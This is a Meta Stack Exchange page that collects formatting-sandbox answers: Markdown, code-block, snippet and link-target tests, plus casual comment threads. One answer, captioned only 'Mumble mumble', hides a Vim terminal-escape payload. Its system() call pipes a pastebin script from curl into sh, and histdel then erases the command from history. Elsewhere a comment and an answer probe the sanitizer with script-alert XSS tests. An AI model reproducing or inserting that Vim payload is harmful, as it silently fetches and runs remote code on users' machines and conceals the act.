0
votes

This post exists purely to house answers formerly attached to the formatting sandbox. You can safely ignore it.

623 Answers 623

1
10 11
12
13 14
21
1
vote

Mumble mumble

let t_BE="<\esc>[?2004[201~:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')
:call histdel('cmd','zSBiFpKn')
a[200~h"

1
vote

This is supposed to be a post to test a bug related to rolling back to suggested edits when "improve edit" is selected

And this is the proposed edit

[status-no-repro] on answers apparently

1
1
vote

OMG I can embed stuff in a post as a snippet?!

<iframe name="ngram_chart" src="https://books.google.com/ngrams/interactive_chart?content=VBA&year_start=1980&year_end=2018&corpus=15&smoothing=3&share=&direct_url=t1%3B%2CVBA%3B%2Cc0" width=900 height=500 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>

0
1
vote

I don't particularly mind if you flag this as spam, though some moderator might dislike that ... a lot.

Link at end of post:

This is a test post for Charcoal HQ.

5
  • why you don't want others flag this as spam?
    – user298438
    Commented Jun 9, 2018 at 18:21
  • @user298438 That's not what I wrote. A moderator will review your spam flag and probably dismiss it as unhelpful because this isn't actually spam. The text is mainly there as a test case for the SmokeDetecter bot in Charcoal, and I don't want users there to spend time on analyzing it needlessly.
    – tripleee
    Commented Jun 9, 2018 at 19:17
  • I didn't flag it as spam. I just want to ask you for an attention.
    – user298438
    Commented Jun 9, 2018 at 22:39
  • 2
    I am flagging this as spam because it obviously exists to advertise Charcoal HQ Commented Jun 11, 2018 at 14:11
  • @JohnMiliter That's not what this user wrote. A moderator will review your spam flag and probably dismiss it as unhelpful because this isn't actually spam. The text is mainly there as a test case for the SmokeDetecter bot in Charcoal, and this user don't want users there to spend time on analyzing it needlessly.
    – user298438
    Commented Jun 19, 2018 at 18:15
1
vote

How can I make a link in a stack snippet open in new tab?

<a href="https://meta.stackexchange.com" target="_blank">
Link1
</a>

<a href="https://meta.stackexchange.com" target="_top">
Link1
</a>

<a onclick='window.open("https://meta.stackexchange.com","_blank")'>
Link1
</a>

<a onclick='window.open("https://meta.stackexchange.com","_top")'>
Link1
</a>

3
  • meta.stackoverflow.com/questions/325572/…. (TL;DR: you can't.) Commented May 28, 2018 at 14:17
  • @ShadowWizard Too bad that it doesn't work. I was working on PPCG's leaderboard snippet, and this is annoying.
    – user202729
    Commented May 28, 2018 at 14:18
  • not really annoying, kind of security issue. The whole snippet system is in a sandbox, better not give it too much "power". Commented May 28, 2018 at 14:20
1
vote

snippet:

<iframe name="ngram_chart" src="https://books.google.com/ngrams/interactive_chart?content=VBA&year_start=1980&year_end=2018&corpus=15&smoothing=3&share=&direct_url=t1%3B%2CVBA%3B%2Cc0" width=1000 height=600 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>

1
  • <snippet type="text/stacksnippet"> Commented Jul 28, 2018 at 1:46
1
vote
┏━━━━┳━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ## ┃ GNOME Terminal        ┃ xterm                 ┃ non-GUI TTY                       ┃
┡━━━━╇━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│    │ reset all             │ reset all             │ reset all                         │
│  0 │ reset all             │ reset all             │ reset all                         │
1
vote

Image size limit test:

enter image description here

2
  • aaa ` fffpopopopopopopopo
    – Alex K
    Commented Feb 22, 2019 at 16:45
  • bzzz ` wtttpza -- mips (the humans are suspicious)
    – user152261
    Commented Feb 23, 2019 at 18:03
1
vote

I have heard that you get waffles over here?

1
  • Comments purged. Presumably everyone has gotten their hats. Feel free to spam this dude. :)
    – Journeyman Geek Mod
    Commented Dec 19, 2018 at 1:07
1
vote

If common mark is implemented then this will work:

bool working = true;
2
  • You rock! Now how many older posts are broken ;)
    – rene Mod
    Commented Jan 4, 2019 at 15:36
  • Well it's not quite there yet. Will look into the differences next week.
    – Nick Larsen Mod
    Commented Jan 4, 2019 at 15:38
1
vote

Testing the new ```-style codeblocks:

this is a code block
In a blockquote
This is a codeblock in a blockquote

Language highlighting:

With a ```lang-c at the top:

#include <stdio.h>

int main(int argc, char** argv)
{
    int i = 6;
    while(i --> 0) printf(i);
    return 0;
}

With a <!-- language: lang-c -->:

#include <stdio>

int main(int argc, char** argv)
{
    int i = 6;
    while(i --> 0) printf(i);
    return 0;
}
1
vote

Testing order of attributes in <a> tags:

Examples:

href first: <a href="https://example.com" title="example with href first">`href` first</a>

title first: <a title="example with href first" href="https://example.com">`title` first</a>

1
vote

Gotta love the magic editor. Makes a lot of my editing a lot quicker.

But code markdown appears to break it :/ So this is just a reproduction post for the problem, in theory anyways.

public static void main(String[] args) {
    System.out.println("This should default back to regular code formatting, and backticks more or less removed");
}

Unrelated, random update as requested by NH. for notification testing related to question starring. Just don't stare directly at the question, or you may feel like you're seeing ponies everywhere

4
  • weirdly status-no-repro in this environment xd Commented Feb 18, 2019 at 19:56
  • Would you please update your answer or answer again, @Asuna? I'm testing whether starring this question will notify me in any way.
    – NH.
    Commented Feb 21, 2019 at 16:43
  • @NH. Updated - pretty sure you just get a special update thingy on your profile under favorites (shows up as a "1" on the post IIRC) Commented Feb 21, 2019 at 16:47
  • Confirmed... now I need to document that somewhere...
    – NH.
    Commented Feb 21, 2019 at 17:00
1
vote

foo FOO:

def f1(s):
    return s

def f2():
    f1('I LOVE FOO')

print(f2())

Aha, a joke, now a working one:

def f1(s):
    return s

def f2():
    return f1('I LOVE FOO')

print(f2())

How about:

def f1():
    f2()

def f2():
    f1()

print(f1())
16
  • 1
    It appears that None of the functions are willing to print 'I LOVE FOO'.
    – Picachieu
    Commented Feb 22, 2019 at 3:57
  • 1
    @SupaMegaDuckyMomodaWaffle Lol, made one working. Commented Feb 22, 2019 at 3:59
  • 1
    Yay! Now the print function loves foo!
    – Picachieu
    Commented Feb 22, 2019 at 4:00
  • 1
    @SupaMegaDuckyMomodaWaffle Yup, :-), lol, funny code. Commented Feb 22, 2019 at 4:01
  • 1
    Now all you have to do is call f2 from f1 and start an infinite loop... I'm sure print would like that.
    – Picachieu
    Commented Feb 22, 2019 at 4:02
  • 1
    Wow, snails really can read people's minds. I never knew...
    – Picachieu
    Commented Feb 22, 2019 at 4:03
  • @SupaMegaDuckyMomodaWaffle WOW, i did that even before i saw your comment! Commented Feb 22, 2019 at 4:03
  • @SupaMegaDuckyMomodaWaffle hahaha, my snail has a good brain :-) Commented Feb 22, 2019 at 4:04
  • Great job telepathically communicating, Snail! Now Python just needs to learn how, and the whole universe of everything will be so much easier...
    – Picachieu
    Commented Feb 22, 2019 at 4:05
  • @SupaMegaDuckyMomodaWaffle Yup, of course, wow, you have so many names. Commented Feb 22, 2019 at 4:06
  • I know... I put so much time and effort into coming up with my names...
    – Picachieu
    Commented Feb 22, 2019 at 4:07
  • @SupaMegaDuckyMomodaWaffle I like pizza static void main since that reminds me of pizza 🍕 Commented Feb 22, 2019 at 4:10
  • I prefer Supa Mega Ducky Momo da Waffle because it gives me an excuse to talk about waffles, ducks, and Supa Megas at the same time.
    – Picachieu
    Commented Feb 22, 2019 at 4:11
  • @SupaMegaDuckyMomodaWaffle Oh that's rigth, missed that one. Commented Feb 22, 2019 at 4:12
  • That's so waffles.
    – Picachieu
    Commented Feb 22, 2019 at 4:14
1
vote

Hover over the blockquote

<h2>Hi</h2>

1
vote

<marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee><marquee>REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE</marquee>

3
  • 1
    +1 for the incredibly annoying quote block thingie.
    – Picachieu
    Commented Feb 18, 2019 at 20:08
  • I was very bored. Commented Feb 19, 2019 at 1:50
  • 1
    And to answer your question, you are doing this because you aren't not doing this.
    – Picachieu
    Commented Feb 23, 2019 at 1:33
1
vote

Lets investigate markdown

bold

italic

link

~~strike~~

code

idented code

Now html

bold

italic

inline css bold attributed text

underline

superscript

0
0
votes

/questions/3122#!/questions/3122?test=1

/questions/3122#!/questions/3122?test=2

5
  • 2
    Is there any purpose to the #! after post ID? :) Commented Dec 22, 2013 at 17:52
  • 1
    Stop that, please.
    – Nick Craver Mod
    Commented Mar 10, 2015 at 23:05
  • 1
    @NickCraver - Very sorry. I created a post on it and was coming back to delete these. I chose one at random and didn't mean to spam you. I was hoping the wiki would prevent message pinging. Sorry!!
    – Travis J
    Commented Mar 10, 2015 at 23:07
  • 3
    @TravisJ it's all good - just makes my phone go nuts :) Protip: pick one from a user that's been deleted next time, good test target!
    – Nick Craver Mod
    Commented Mar 10, 2015 at 23:20
  • Here's a test <script>alert('test');</script> Commented May 18, 2015 at 17:56
0
votes

Test using pre/code...

public void Something()
{
  return;
}

Regular text here.


public void Something()
{
  return;
}
5
  • This is bold.
    – user154393
    Commented Apr 14, 2011 at 3:07
  • This is boldnot.
    – user154393
    Commented Apr 14, 2011 at 3:07
  • This is bold maybe.
    – user154393
    Commented Apr 14, 2011 at 3:13
  • Following is back ticked right?
    – user154393
    Commented May 13, 2011 at 15:15
  • Following is code: <code>public void</code>, right?
    – user154393
    Commented May 13, 2011 at 15:17
0
votes

script: for i in $1 $2 $3 P

script with backticks and line breaks: P

for i in $1 $2 $3 P
short line P
long line long line long line long line
P

script with indent of 4 spaces: P

for i in $1 $2 $3 P  
short line P  
long line long line long line long line P

script with <pre> P

for i in $1 $2 $3 P
short line P
long line long line long line long line P

script with <pre><code> P

for i in $1 $2 $3 P
short line P
long line long line long line long line P
1
  • ...but: new paragraphs need an empty line. See my edit. (Explicit line breaks, which do not start a new paragraph, are rarely needed, but are possible too. As I really dislike the abuse of line breaks, I won't explain the trick here, though the Markdown help makes no secret out of it...)
    – Arjan
    Commented Sep 19, 2010 at 2:11
0
votes

Some apparent whitespace problems, 10 m/s (original post):

The period of a pendulum of length $h$ for small oscillations is $2\pi \sqrt{h/g}$, with $g$ the acceleration due to gravity, about $10 m/s$.

Source:

The period of a pendulum of length $h$ for small oscillations is $2\pi \sqrt{h/g}$, with $g$ the acceleration due to gravity, about $10 m/s$.


Update: Meta Stack Overflow does not seem to have the formula stuff that Physics has.

0
votes

Be aware that you can run into trouble if you try to use < inside: <code>a<b</code> gives a!


  1. You can't have a backslash \ in the end of inline code in comments. If you try `\\`, then the result will be `\`. You'll have to type `\\ ` and live with the white space being within the inline code.
5
  • `test number one`
    – user153011
    Commented Feb 10, 2011 at 17:37
  • `test number two\`
    – user153011
    Commented Feb 10, 2011 at 17:39
  • test number three\\
    – user153011
    Commented Feb 10, 2011 at 17:43
  • test number four\
    – user153011
    Commented Feb 10, 2011 at 17:58
  • Hey @Hendrik I've deleted my comments at meta.stackexchange.com/questions/59445/… :) Commented Apr 27, 2011 at 12:39
0
votes

Will sanitizer incorrectly strip the p tag at the end? Header 1 Header 1 Header 2

line break test

italic

bold

Google

Valid XHTML <a

Have you seen ?

code span<a

more test
test <a

test test test

funny

How about in lists?

  1. li1 unclosed
  2. li2 unclosed

p

  • li1 unclosed
  • li2 unclosed

bla:

  • bla
  • bla

1
  • test test test <a
    – çağdaş
    Commented Jan 17, 2011 at 23:11
0
votes

Just testing this new feature:

Replace trilogy raw links with the current question title?

1
0
votes

Testing a possible edit bug...

Here's the first edit...

And here's the second -- perhaps as a new post.

Okay so far, will try one more time...

Final test

0
votes

Testing out this new Userscript I'm building. One more edit to make sure this thing works.

6
  • And one moar comment
    – Yi Jiang
    Commented Oct 31, 2010 at 3:31
  • Will this still work after I delete some comments?
    – Yi Jiang
    Commented Oct 31, 2010 at 3:34
  • Adding in one more comment
    – Yi Jiang
    Commented Oct 31, 2010 at 7:03
  • Hello world!!1!!!
    – Yi Jiang
    Commented Oct 31, 2010 at 8:13
  • One more comment.
    – Yi Jiang
    Commented Oct 31, 2010 at 8:27
  • 3
    Unix time, or POSIX time, is a system for describing points in time, defined as the number of seconds elapsed since midnight proleptic Coordinated Universal Time (UTC) of January 1, 1970, not counting leap seconds. It is used widely, not only in Unix-like operating systems, but also in many other computing systems and file formats. It is neither a linear representation of time nor a true representation of UTC (though it is frequently mistaken for both), as it cannot represent standard UTC leap seconds (e.g. December 31, 1998 23:59:60), although otherwise the times it represents are UTC.
    – Yi Jiang
    Commented Oct 31, 2010 at 8:30
0
votes

Comments test. Checking various comment related stuffs

1
0
votes

testing revision diffs blah blah

  • new line
  • new line2

  • this foobar quote

    • boo boo boo
1
  • Code var=`grep -c this` no code Commented Mar 21, 2012 at 0:34
0
votes

XSS testing:

an alert

1
10 11
12
13 14
21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .